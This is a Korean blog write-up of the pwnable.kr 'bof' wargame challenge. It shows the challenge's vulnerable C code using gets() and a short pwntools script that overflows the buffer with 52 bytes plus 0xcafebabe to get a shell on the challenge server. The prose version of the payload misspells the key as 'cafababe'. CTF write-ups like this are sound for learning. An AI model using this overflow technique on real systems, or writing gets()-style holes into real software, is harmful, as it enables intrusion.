pwnable.kr - bof
2018. 8. 19. 21:00ㆍWarGame/pwnable.kr
세번째 pwnable.kr 문제풀이군요.
중간중간에 다른문제들 풀다와서 풀이가 많이 느린 것 같습니다 :)
먼저 문제를 확인하면 소스코드하고 파일 하나를 주는군요.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; } | cs |
gets부분이 취약점이니
제 payload는 다음과 같을거에요 ㅎㅎ
dummy[buf크기] + "cafababe"
간단하죠? ㅎㅎ 그런데 5점이네요 :)
버퍼의 크기를 알기위해 분석을 합니다.
-2c 이고, 8이니 계산을 하면
이렇네요 더미를 이렇게 넣어주고
그대로 payload를 짜주면?
1 2 3 4 5 6 7 8 | from pwn import * r = remote("pwnable.kr", 9000); key = 0xcafebabe pay = "A"*52 + p32(key) r.send(pay) r.interactive() | cs |
'WarGame > pwnable.kr' 카테고리의 다른 글
pwnable.kr blukat (0) | 2018.08.19 |
---|---|
pwnable.kr - coin1 (0) | 2018.08.19 |
pwnable.kr - random (0) | 2018.08.16 |
pwnable.kr - collision (0) | 2018.08.03 |
pwnable.kr - fd (290) | 2018.07.09 |